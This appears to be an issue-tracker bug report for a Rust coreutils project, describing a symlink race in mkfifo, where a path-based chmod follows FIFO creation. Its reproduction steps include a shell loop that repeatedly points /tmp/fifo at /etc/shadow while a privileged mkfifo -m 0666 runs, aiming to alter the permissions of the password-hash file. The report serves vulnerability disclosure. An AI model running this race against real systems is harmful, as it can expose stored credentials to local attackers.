U - mkfifogood first issuereported-canonical
Métriques du dépôt
- Stars
- (23 246 stars)
- Métriques de merge PR
- (Merge moyen 9j 14h) (216 PRs mergées en 30 j)
Description
Component
mkfifo
Description
mkfifo creates a FIFO and then unconditionally performs a path-based chmod via std::fs::set_permissions.
Between these operations, an attacker with write access to the containing directory can replace the FIFO with a symlink.
Additionally, for the default case (no -m flag), the chmod is redundant as the kernel already applies umask during creation.
Test / Reproduction Steps
# Terminal 1 (attacker, racing the chmod):
while true; do
rm -f /tmp/fifo; ln -s /etc/shadow /tmp/fifo
done
# Terminal 2 (victim with privileges):
while true; do
rm -f /tmp/fifo; mkfifo -m 0666 /tmp/fifo
done
# Check if /etc/shadow permissions changed